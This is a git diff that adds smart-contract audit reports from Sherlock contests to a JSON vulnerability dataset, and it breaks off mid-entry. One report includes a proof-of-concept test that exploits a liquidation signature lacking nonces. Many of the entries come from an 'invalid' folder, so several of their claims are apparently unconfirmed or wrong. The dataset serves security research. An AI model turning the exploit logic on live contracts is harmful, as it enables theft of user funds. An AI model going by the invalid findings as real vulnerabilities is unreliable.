diff --git a/dataset/vulns.json b/dataset/vulns.json index b0437e4..fc2b2fc 100644 --- a/dataset/vulns.json +++ b/dataset/vulns.json @@ -30094,6 +30094,993 @@ {"title":"A turned solvent Party A, moreover in a case where one partyA's position has positive pnl and the amount is greater than `partyBAllocatedBalances`, the diff is omitted","severity":"major","body":"Quiet Berry Dalmatian\n\nhigh\n\n# A turned solvent Party A, moreover in a case where one partyA's position has positive pnl and the amount is greater than `partyBAllocatedBalances`, the diff is omitted\n## Summary\n\nA turned solvent Party A, on liquidation, moreover in a case where partyA's positive pnl (in their other positions) and the amount is greater than `partyBAllocatedBalances`, the difference is omitted, while it should accounted for partyA's\n\n## Vulnerability Detail\n\nFollowing issue of https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/290 is still exist, even though it was marked \"will-fix\", the issue is not correctly fixed (and intrinsicly add more excess balance to protocol)\n\nThe fix which is mentioned in comment refer to https://github.com/SYMM-IO/symmio-core/pull/22 while it mainly to fix the https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/241 issue.\n\nMoreover, in this update contest, introduce `amountToDeduct` which check if the pnl amount greater than `partyBAllocatedBalances`, it will be the `partyBAllocatedBalances`, otherwise it will be the full amount of pnl. Therefore later when partyA `hasMadeProfit` true, and the amount pnl is > `partyBAllocatedBalances`, the `partyBAllocatedBalances` is decreased with itself, thus `partyBAllocatedBalances` will be 0. https://github.com/SYMM-IO/symmio-core/pull/22/commits/f052a6c1b9f39aa034f3417582a9f34ff1d2412b\n\nThe question here is, where is the rest diff amount of `amount - partyBAllocatedBalances` goes to? into protocol? I think it should be goes back into the partyA (or maybe account to partyB)\n\n```js\nFile: LiquidationFacetImpl.sol\n163: uint256 amountToDeduct = amount >\n164: accountLayout.partyBAllocatedBalances[quote.partyB][partyA]\n165: ? accountLayout.partyBAllocatedBalances[quote.partyB][partyA]\n166: : amount;\n167:\n168: if (\n169: accountLayout.liquidationDetails[partyA].liquidationType == LiquidationType.NORMAL\n170: ) {\n171: accountLayout.partyBAllocatedBalances[quote.partyB][partyA] += quote\n172: .lockedValues\n173: .cva;\n174: if (hasMadeProfit) {\n175: accountLayout.partyBAllocatedBalances[quote.partyB][partyA] -= amountToDeduct; // @audit <-- where is the rest of profit (diff) goes to if amount > partyBAllocatedBalances\n176: } else {\n```\n\nquoting this https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/290#issuecomment-1653497655\n\n> if Party A has multiple positions, those which are in profit are not considered in party A's balance (while Party B will have it deducted). Instead, the protocol amasses the funds while not having the ability to withdraw them.\n> If Party A turned solvent mid-way through the liquidation process (between calling setSymbolsPrice and liquidatePositionsPartyA), i.e., cumulative locked balances + cumulative PnL is positive, the profits from the profitable positions are not credited to Party A ..\n> Those retained profits from Party A sit in the protocol's contract and remain unutilized.\n\nEven though the case scenario is rare, but it's still an open possible situation, which should be accounted correctly. Moreover since the liquidation step is 4 steps, this open for possibility of fluctuate / changes in pnl. In addition, if protocol want to fix this 'intermediary' possible fluctuate pnl, it's better to pack the 4 step into a single one liquidation execution.\n\n## Impact\n\nWhen one of partyA (which currently under liquidation process, then turned solvent) position might contains profit which greater than `partyBAllocatedBalances`, those differences will be omitted (with the edge case provided)\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-08-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L163-L166\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIf the amount is greater than partyBAllocatedBalances, consider adding the excess profit to partyA allocated balance\n`accountLayout.allocatedBalances[partyA] += amount - amountToDeduct`\n\nThe update contest also introduce `partyAReimbursement`, which currently store the trading fee on liquidating pending position. perhaps, this excess can be stored in it.","dataSource":{"name":"sherlock-audit/2023-08-symmetrical-judging","repo":"https://github.com/sherlock-audit/2023-08-symmetrical-judging","url":"https://github.com/sherlock-audit/2023-08-symmetrical-judging/blob/main//006-H/048.md"}} {"title":"`liquidatePositionsPartyA` limits partyB loss to partyB allocated balance, which can lead to inflated partyB balance and loss of funds for protocol users","severity":"major","body":"Calm Latte Hamster\n\nhigh\n\n# `liquidatePositionsPartyA` limits partyB loss to partyB allocated balance, which can lead to inflated partyB balance and loss of funds for protocol users\n## Summary\n\nIf partyB has positions both in a high profit and in a high loss, so that total upnl is much smaller than individual positions upnl, then partyB can deallocate most (or even all) of its funds. During partyA liquidation, `liquidatePositionsPartyA` limits partyB loss to the **current** allocated balance of partyB. In this case there is a big difference of the final results depending on order of position liquidations:\n1. If the 1st position is in a profit, then the profit is first applied to balanceB, and then position in loss correctly subtracts from it (there is enough partyB balance to fully cover position in loss).\n2. If the 1st position is in a loss, then balance (which is smaller than position loss) is simply reduced to 0, but then the 2nd position (which is in a profit) is added in full, leading to inflated final balance of partyB.\n\nIf such liquidation happens (intentional or not), partyB will have much more funds than it should at the expense of the other users: protocol will owe users more funds than it has, which can lead to bank run and the last users being unable to withdraw.\n\n## Vulnerability Detail\n\nExample Scenario:\n\nPosition 1: upnl = -960, cva+lf = 10, mm=10\nPosition 2: upnl = +1000, cva+lf = 10, mm=10\nTotal cva+lf = 20, total mm=20\nPartyB has allocated balance = 0 (available = 0 + 1000 - 960 = 40 >= 20 - not liquidatable)\nParty A is liquidated:\n1. Position 1 is liquidated.\n`amount` = 960\n`amountToDeduct` = 0 (because partyB allocated balance = 0)\npartyB allocatedBalance remains 0\n2. Position 2 is liquidated.\n`amount` = 1000\npartyB allocatedBalance increases by 1000 (is set to 1000)\n\nThe result: PartyB should have a balance of less than 60 (upnl+cva), but it has 1000 instead!\n\n## Impact\n\nIn some situations during partyA liquidations, PartyB balance is increased significantly while no funds enter the protocol, meaning protocol debt to users increases and is greater than protocol funds. This can cause a bank run, since the last users to withdraw will be unable to do so.\n\n## Code Snippet\n\n`amountToDeduct` is calculated as minimum between partyB loss and partyB balance. This amount is deducted from **current** partyB allocated balance.\nhttps://github.com/sherlock-audit/2023-08-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L163-L166\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCalculate total (signed) pnl for positions for each partyB before applying it: `amountToDeduct` should be for all positions combined for a particular partyB instead of separate positions.","dataSource":{"name":"sherlock-audit/2023-08-symmetrical-judging","repo":"https://github.com/sherlock-audit/2023-08-symmetrical-judging","url":"https://github.com/sherlock-audit/2023-08-symmetrical-judging/blob/main//006-H/006-best.md"}} {"title":"`liquidatePartyA` requires signature which doesn't have nonce, making possible unfair liquidation and loss of funds for all parties","severity":"major","body":"Calm Latte Hamster\n\nhigh\n\n# `liquidatePartyA` requires signature which doesn't have nonce, making possible unfair liquidation and loss of funds for all parties\n## Summary\n\n`liquidationSig` provided by liquidator to `liquidatePartyA` doesn't have nonces of neither partyA nor partyB. This means that this signature is valid even if partyA and/or partyB do some actions before the liquidation with this signature happens. There are numerous scenarios possible, both happening by itself and caused by malicious parties, where this can lead to loss of funds for some or all parties involved.\n\n## Vulnerability Detail\n\nExample Scenario:\n\n1. PartyA: allocated=109, upnl=-99, cva+lf=10. To avoid liquidation, partyA tries to close 50% of its position, submitting requestToClosePosition\n2. PartyA: allocated=109, upnl=-100, cva+lf=10. PartyA becomes liquidatable\n3. Liquidator submits liquidating transaction (with upnl=-100), but partyB at the same time fulfills partyA request\n3. partyB transaction executes first, partyA has: allocated = 59, upnl=-50, cva+lf=5 (not liquidatable anymore)\n4. Liquidator transaction executes (with upnl=-100):\n4.1. Available Balance = 59-5 - 100 = -46\n4.2. Liquidation type = OVERDUE (46 > 5), deficit = 41\n4.3. Corresponding partyB receives 50 - 50*46/100 = 27\n4.4. PartyA allocated balance is set to 0\n4.5. Liquidators receives 0 (because it's OVERDUE liquidation)\n\nThe result: \n1. PartyA was solvent just before the liquidation, but was still liquidated, losing all funds\n2. PartyB has received 27 instead of full 50 profit (even though partyA had enough funds)\n3. Liquidator didn't receive any fee, although it should have received it as partyA had enough funds.\n\nAll 3 parties have lost funds. Protocol basically stole those funds.\n\n## Impact\n\nUnfair liquidation for partyA, loss of funds for liquidator and partyB in many possible situations during partyA liquidation - happening by itself or caused by malicious actors.\n\n## Proof of Concept\n\nAdd this to any test, for example to `ClosePosition.behavior.ts`.\n\n```ts\nit(\"PartyA wrong upnl liquidation\", async function () {\n const context: RunContext = this.context;\n\n this.user_allocated = decimal(119);\n this.hedger_allocated = decimal(1000);\n \n this.user = new User(this.context, this.context.signers.user);\n await this.user.setup();\n await this.user.setBalances(this.user_allocated, this.user_allocated, this.user_allocated);\n\n this.hedger = new Hedger(this.context, this.context.signers.hedger);\n await this.hedger.setup();\n await this.hedger.setBalances(this.hedger_allocated, this.hedger_allocated);\n\n this.liquidator = new User(this.context, this.context.signers.liquidator);\n await this.liquidator.setup();\n\n // open position (100 @ 10)\n await this.user.sendQuote(limitQuoteRequestBuilder()\n .positionType(PositionType.LONG)\n .quantity(decimal(100))\n .price(decimal(10))\n .cva(decimal(6)).lf(decimal(4)).mm(decimal(10))\n .build()\n );\n await this.hedger.lockQuote(1, 0, decimal(1));\n await this.hedger.openPosition(1, limitOpenRequestBuilder().filledAmount(decimal(100)).openPrice(decimal(10)).price(decimal(10)).build());\n\n var info = await this.user.getBalanceInfo();\n console.log(\"partyA allocated: \" + info.allocatedBalances / 1e18 + \" locked: \" + info.totalLocked/1e18 + \" pendingLocked: \" + info.totalPendingLocked / 1e18);\n var info = await this.hedger.getBalanceInfo(this.user.getAddress());\n console.log(\"partyB allocated: \" + info.allocatedBalances / 1e18 + \" locked: \" + info.totalLocked/1e18 + \" pendingLocked: \" + info.totalPendingLocked / 1e18);\n\n // price goes to 9, so user is in a loss of -100 (less fee), locked balance = 10, so liquidatable\n // user tries to close half of its position to save liquidation\n //await this.user.setBalances(this.user_allocated, this.user_allocated, this.user_allocated);\n await this.user.requestToClosePosition(\n 1,\n limitCloseRequestBuilder().quantityToClose(decimal(50)).closePrice(decimal(9)).build(),\n );\n\n // liquidators obtains signature to liquidate\n var sig = await getDummyLiquidationSig(\"0x10\", decimal(-100), [1], [decimal(9)], decimal(-100));\n // fix timestamp\n sig.timestamp = BigNumber.from(await sig.timestamp).add(5);\n\n // but before liquidation, partyB fullfills partyA close request\n await this.hedger.fillCloseRequest(\n 1,\n limitFillCloseRequestBuilder()\n .filledAmount(decimal(50))\n .closedPrice(decimal(9))\n .build(),\n );\n\n var info = await this.user.getBalanceInfo();\n console.log(\"after closing: partyA allocated: \" + info.allocatedBalances / 1e18 + \" locked: \" + info.totalLocked/1e18 + \" pendingLocked: \" + info.totalPendingLocked / 1e18);\n var info = await this.hedger.getBalanceInfo(this.user.getAddress());\n console.log(\"after closing: partyB allocated: \" + info.allocatedBalances / 1e18 + \" locked: \" + info.totalLocked/1e18 + \" pendingLocked: \" + info.totalPendingLocked / 1e18);\n\n // liquidator starts liquidating partyA\n await context.liquidationFacet.connect(this.liquidator.signer).liquidatePartyA(\n this.user.signer.address,\n sig\n );\n await context.liquidationFacet.connect(this.liquidator.signer).setSymbolsPrice(\n this.user.signer.address,\n sig\n );\n await context.liquidationFacet.connect(this.liquidator.signer).liquidatePositionsPartyA(\n this.user.signer.address,\n [1]\n );\n\n var info = await this.user.getBalanceInfo();\n console.log(\"after liquidation: partyA allocated: \" + info.allocatedBalances / 1e18 + \" locked: \" + info.totalLocked/1e18 + \" pendingLocked: \" + info.totalPendingLocked / 1e18);\n var info = await this.hedger.getBalanceInfo(this.user.getAddress());\n console.log(\"after liquidation: partyB allocated: \" + info.allocatedBalances / 1e18 + \" locked: \" + info.totalLocked/1e18 + \" pendingLocked: \" + info.totalPendingLocked / 1e18);\n\n});\n```\n\nConsole execution result:\n```js\npartyA allocated: 109 locked: 20 pendingLocked: 0\npartyB allocated: 1000 locked: 20 pendingLocked: 0\nafter closing: partyA allocated: 59 locked: 10 pendingLocked: 0\nafter closing: partyB allocated: 1050 locked: 10 pendingLocked: 0\nafter liquidation: partyA allocated: 0 locked: 0 pendingLocked: 0\nafter liquidation: partyB allocated: 1079.5 locked: 0 pendingLocked: 0\nliquidator balance: 0\n```\nAs can be noticed, partyA + partyB have 1109 total after closing, but only 1079.5 after liquidation.\n\nIf the `fillCloseRequest` is commented out, then liquidation produces correct result:\n```js\npartyA allocated: 109 locked: 20 pendingLocked: 0\npartyB allocated: 1000 locked: 20 pendingLocked: 0\nafter liquidation: partyA allocated: 0 locked: 0 pendingLocked: 0\nafter liquidation: partyB allocated: 1106 locked: 0 pendingLocked: 0\nliquidator balance: 3\n```\n\n## Code Snippet\n\nNotice that there are no nonces of either party in the liquidation signature:\nhttps://github.com/sherlock-audit/2023-08-symmetrical/blob/main/symmio-core/contracts/libraries/LibMuon.sol#L54-L67\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nInclude partyA and partyB nonces in the liquidation signature.","dataSource":{"name":"sherlock-audit/2023-08-symmetrical-judging","repo":"https://github.com/sherlock-audit/2023-08-symmetrical-judging","url":"https://github.com/sherlock-audit/2023-08-symmetrical-judging/blob/main//005-H/005-best.md"}} +{"title":"Gas grief possible on unsafe external calls","severity":"info","body":"Scruffy Taupe Orca\n\nfalse\n\n# Gas grief possible on unsafe external calls\nThere is no limit specified on the amount of gas used, so the recipient can use up all of the transaction's gas, causing it to revert. Use `addr.call{gas: }(\"\")` or [this](https://github.com/nomad-xyz/ExcessivelySafeCall) library instead.\n\n## Vulnerability Detail\nThere is no limit specified on the amount of gas used, so the recipient can use up all of the transaction's gas, causing it to revert. Use `addr.call{gas: }(\"\")` or [this](https://github.com/nomad-xyz/ExcessivelySafeCall) library instead.\n\n## Impact\nGas grief possible on unsafe external calls\n\n## Code Snippet\n\n```solidity\nšŸ“ File: allo-v2/contracts/core/Anchor.sol\n\n/// @audit line 78\n70: function execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) { \n71: // Check if the caller is the owner of the profile and revert if not\n72: if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n73: \n74: // Check if the target address is the zero address and revert if it is\n75: if (_target == address(0)) revert CALL_FAILED();\n76: \n77: // Call the target address and return the data\n78: (bool success, bytes memory data) = _target.call{value: _value}(_data);\n79: \n80: // Check if the call was successful and revert if not\n81: if (!success) revert CALL_FAILED();\n82: \n83: return data;\n84: }\n```\n[70](allo-v2/contracts/core/Anchor.sol/#L70-L84)\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L70\n\n\n## Tool used\n\nManual Review","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/987.md"}} +{"title":"QVSimpleStrategy.removeAllocator() fails to remove the votes casted by the allocator, leading to unfair fund distribution.","severity":"info","body":"Fresh Indigo Platypus\n\nhigh\n\n# QVSimpleStrategy.removeAllocator() fails to remove the votes casted by the allocator, leading to unfair fund distribution.\n``QVSimpleStrategy.removeAllocator()`` fails to remove the votes casted by the allocator. As a result, the vote information will be wrong after the allocator is removed and fund distribution will be unfair - some recipients will receive less funds than they are supposed to.\n\n## Vulnerability Detail\n\n``QVSimpleStrategy.removeAllocator()`` will remove an allocator: \n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L97-L101](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L97-L101)\n\nHowever, the votes by the allocator has already been casted by function ``_allocate()``:\n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107-L124)\n\n\n``QVSimpleStrategy.removeAllocator()`` fails to modify: \n\n1) ``totalRecipientVotes``;\n\n2) the votes for the recipients that the removed allocator has voted: ``_recipient.totalVotesReceived``. \n\nAs a result, the payout for each recipient, ``poolAmount * recipient.totalVotesReceived / totalRecipientVotes;`` will not be calculated correctly, leading to some unfair fund distribution. \n\n## Impact\n\n## Code Snippet\n``QVSimpleStrategy.removeAllocator() fails to remove the votes casted by the removed allocator, leading to unfair fund distribution.\n\n## Tool used\nVScode\n\nManual Review\n\n## Recommendation\nBoth the ``totalRecipientVotes`` and ``_recipient.totalVotesReceived`` should be decreased accordingly when an allocator is removed.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/986.md"}} +{"title":"Multiple places of unbounded loops","severity":"info","body":"Bent Shadow Lobster\n\nmedium\n\n# Multiple places of unbounded loops\nThere are multiple instances of unbounded loops\n## Vulnerability Detail\nThere are multiple instances of unbounded loops in the Allo and Registry contract, which could cause gas issues based on gas limit or DOS\n\n## Impact\nHigh cost of usage, Reverted calls with external calls state changed\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L150\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd checks for length of input before looping and add a max value of data to be looped at a time","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/985.md"}} +{"title":"DOS in `DonationVotingMerkleDistributionBaseStrategy` contract","severity":"info","body":"Feisty Glass Scallop\n\nhigh\n\n# DOS in `DonationVotingMerkleDistributionBaseStrategy` contract\nThere is any array of `allowedTokens` in `DonationVotingMerkleDistributionBaseStrategy` but if this array got very large that the contract could face gas issues\n\n## Vulnerability Detail\nsee summary\n\n## Impact\nDOS due to gas issue\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L84\n\n## Tool used\n\nManual Review\n\n## Recommendation\nuse mapping instead of array","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/984.md"}} +{"title":"`createPoolWithCustomStrategy` Non-Reentrancy Guard Missed in `Allo` Contract","severity":"info","body":"Mini Fiery Urchin\n\nmedium\n\n# `createPoolWithCustomStrategy` Non-Reentrancy Guard Missed in `Allo` Contract\nThe `createPoolWithCustomStrategy` function in the `Allo` smart contract doesn't implement the `nonReentrant` modifier, which may make it vulnerable to reentrancy attacks.\n\n## Vulnerability Detail\nThe `createPoolWithCustomStrategy` function in the `Allo` contract allows users to create a new pool with custom strategies. However, the absence of a `nonReentrant` modifier on this function might expose it to reentrancy attacks, unlike the `createPool` function.\n\n## Impact\nCausing unexpected behavior and potential financial loss to users.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L152\n\n## Tool used\nManual Review\n\n## Recommendation\nImplement the `nonReentrant` modifier to the `createPoolWithCustomStrategy` function.\n```solidity\n function createPoolWithCustomStrategy(\n bytes32 _profileId,\n address _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) external payable nonReentrant returns (uint256 poolId) {\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/982.md"}} +{"title":"Old Anchor contracts are still accessible when profile owner switch to a new Anchor via Registry.updateProfileName()","severity":"info","body":"Shallow Aegean Loris\n\nmedium\n\n# Old Anchor contracts are still accessible when profile owner switch to a new Anchor via Registry.updateProfileName()\n[Registry.updateProfileName()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L177) deploys new Anchor contract based on the new `_name` but fails to deactivate the old Anchor such that the profile owner can still access the old Anchor (e.g., transferring old Anchor's funds).\n\n## Vulnerability Detail\nSince [Anchor.execute()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L72) only checks if the `msg.sender` is the profile owner through the `Registry` contract, an deactivated Anchor contract can still be `execute()` even it is not literally bound with a profile anymore.\n\n## Impact\nProfile owners can access out-of-date Anchor functions\n\n## Code Snippet\nRegistry.sol:\n```solidity\n function updateProfileName(bytes32 _profileId, string memory _name)\n external\n onlyProfileOwner(_profileId)\n returns (address anchor)\n {\n // Generate a new anchor address\n anchor = _generateAnchor(_profileId, _name);\n\n // Get the profile using the profileId from the mapping\n Profile storage profile = profilesById[_profileId];\n\n // Set the new name\n profile.name = _name;\n\n // Remove old anchor\n anchorToProfileId[profile.anchor] = bytes32(0);\n\n // Set the new anchor\n profile.anchor = anchor;\n anchorToProfileId[anchor] = _profileId;\n\n // Emit the event that the name was updated with the new data\n emit ProfileNameUpdated(_profileId, _name, anchor);\n\n // Return the new anchor\n return anchor;\n }\n```\nAnchor.sol:\n```solidity\n function execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n // Check if the caller is the owner of the profile and revert if not\n if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n\n // Check if the target address is the zero address and revert if it is\n if (_target == address(0)) revert CALL_FAILED();\n\n // Call the target address and return the data\n (bool success, bytes memory data) = _target.call{value: _value}(_data);\n\n // Check if the call was successful and revert if not\n if (!success) revert CALL_FAILED();\n\n return data;\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAnchor.execute() should check if it is the update-to-date Anchor","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/981.md"}} +{"title":"PoolManager can always bypass the check which make sure to withdraw funds from pool, allocation should be ended and 30 days have passed.","severity":"info","body":"Delightful Topaz Penguin\n\nmedium\n\n# PoolManager can always bypass the check which make sure to withdraw funds from pool, allocation should be ended and 30 days have passed.\nPoolManager can always bypass the check which make sure to withdraw funds from pool, allocation should be ended and 30 days have passed.\n## Vulnerability Detail\nPoolManager can withdraw funds from the pool via\n```solidity\nFile: contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol\n\n394 function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) {\n395 if (block.timestamp <= allocationEndTime + 30 days) {\n revert INVALID();\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n\n if (_amount > poolAmount) {\n revert INVALID();\n }\n\n poolAmount -= _amount;\n\n // Transfer the tokens to the 'msg.sender' (pool manager calling function)\n _transferAmount(pool.token, msg.sender, _amount);\n409 }\n```\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394\nAt line number 395 it checks that PoolManager can only withdraw if allocation has ended and 30 days have passed but he can always bypass this check to withdraw funds by manipulating `updatePoolTimestamps`\n\n```solidity\nFile: contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol\n function updatePoolTimestamps(\n uint64 _registrationStartTime,\n uint64 _registrationEndTime,\n uint64 _allocationStartTime,\n uint64 _allocationEndTime\n ) external onlyPoolManager(msg.sender) {\n // If the timestamps are invalid this will revert - See details in '_isPoolTimestampValid'\n _isPoolTimestampValid(_registrationStartTime, _registrationEndTime, _allocationStartTime, _allocationEndTime);\n\n // Set the updated timestamps\n registrationStartTime = _registrationStartTime;\n registrationEndTime = _registrationEndTime;\n allocationStartTime = _allocationStartTime;\n allocationEndTime = _allocationEndTime;\n\n // Emit that the timestamps have been updated with the updated values\n emit TimestampsUpdated(\n registrationStartTime, registrationEndTime, allocationStartTime, allocationEndTime, msg.sender\n );\n }\n```\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L369C4-L388C6\nby changing allocation time he can withdraw funds. It was advised that PoolManager is trusted but he shouldn't have this much power to withdraw funds by bypassing this check\n## Impact\n\nPoolManager can bypass a important check which shouldn't\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L369C4-L388C6\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394\n## Tool used\n\nManual Review\n\n## Recommendation\nNeed some Modification and I will need to discuss some things to propose a mitigation","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/980.md"}} +{"title":"Funds sent to the Anchor contract are lost forever","severity":"info","body":"Fresh Mahogany Capybara\n\nfalse\n\n# Funds sent to the Anchor contract are lost forever\nThe Anchor contract can receive native token but does not implement the means to withdraw or collect it, meaning all funds are stuck in the contract permanently\n```solidity\n /// @notice This contract should be able to receive native token\n receive() external payable {}\n}\n```\n\n## Vulnerability Detail\nAnchors in the Allo protocol are associated with profiles and are accessible exclusively by the profile owner. The `receive()` function is called automatically when tokens are sent and `msg.data` is empty\n\n## Impact\nThis is a medium vulnerability that can lead to loss of funds sent to the contract\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L86-L88\n\n## Tool used\nManual Review\n\n## Recommendation\nMost contracts that have receive() or fallback functions implement a `withdraw()` or `recoverFunds()` function to pull out the native tokens in the contract. This would fix the issue.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/979.md"}} +{"title":"Voters can vote multiple times","severity":"info","body":"Deep Sapphire Elephant\n\nhigh\n\n# Voters can vote multiple times\nThe `_qv_allocate` function in `QVBaseStrategy.sol`, there is no logic to decrease the allocators `voiceCredits` which they are checked to have in the `_allocate()` function. This allows the voters to continue casting votes that they might not have by calling the function multiple times with their votes.\n\n## Vulnerability Detail\nVoters can vote multiple times because their credits aren't updated.\n``` solidity\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n## Impact\nThe logic for `_qv_allocate` updates the values `voteResult`, `totalRecipientVotes`, `_recipient.totalVotesReceived` but doesn't decrease the `allocator.voteCredits`, meaning the balance of the allocator's voice credits remains the same.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L525\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUpdate the allocator.voiceCredits by decreasing it by the `voiceCreditsToAllocate` before `_qv_allocate` is called.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/978.md"}} +{"title":"Centralisation issue as event not emmited after new pool managers are added or removed","severity":"info","body":"Little Fuchsia Toad\n\nmedium\n\n# Centralisation issue as event not emmited after new pool managers are added or removed\nwhen new pool managers are added, the contract does not elicit event to show the new pool managers\n## Vulnerability Detail\nNew managers after been made as pool managers would not know that are pool managers which will lead to disruption in pool sequences from allocation to distributon thereby causing denial of service\nalso an Admin can make unapproved address or even invalid address to be pool managers without other pool members finding out\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/interfaces/IAllo.sol#L289-L308.\n## Impact\nMedium\n## Code Snippet\n` function addPoolManager(\n uint256 _poolId,\n address _manager\n ) external onlyPoolAdmin(_poolId) {\n // Reverts if the address is the zero address with 'ZERO_ADDRESS()'\n if (_manager == address(0)) revert ZERO_ADDRESS();\n\n // Grants the pool manager role to the '_manager' address\n _grantRole(pools[_poolId].managerRole, _manager);\n }\n`\n## Tool used\n\nManual Review\n\n## Recommendation\nevent should be elicited after adding or removing manager roles.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/977.md"}} +{"title":"need overflow check","severity":"info","body":"Expert Teal Dragon\n\nmedium\n\n# need overflow check\nThere is no overflow check at `QVBaseStrategy._qv_allocate`\n\n## Vulnerability Detail\nFollowing lines can easily lead to an overflow if `totalCredits` is large enough.\n\n```\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n```\n\n\n## Impact\n\n`voteResult` will revert protocol can't be used.\n\n## Code 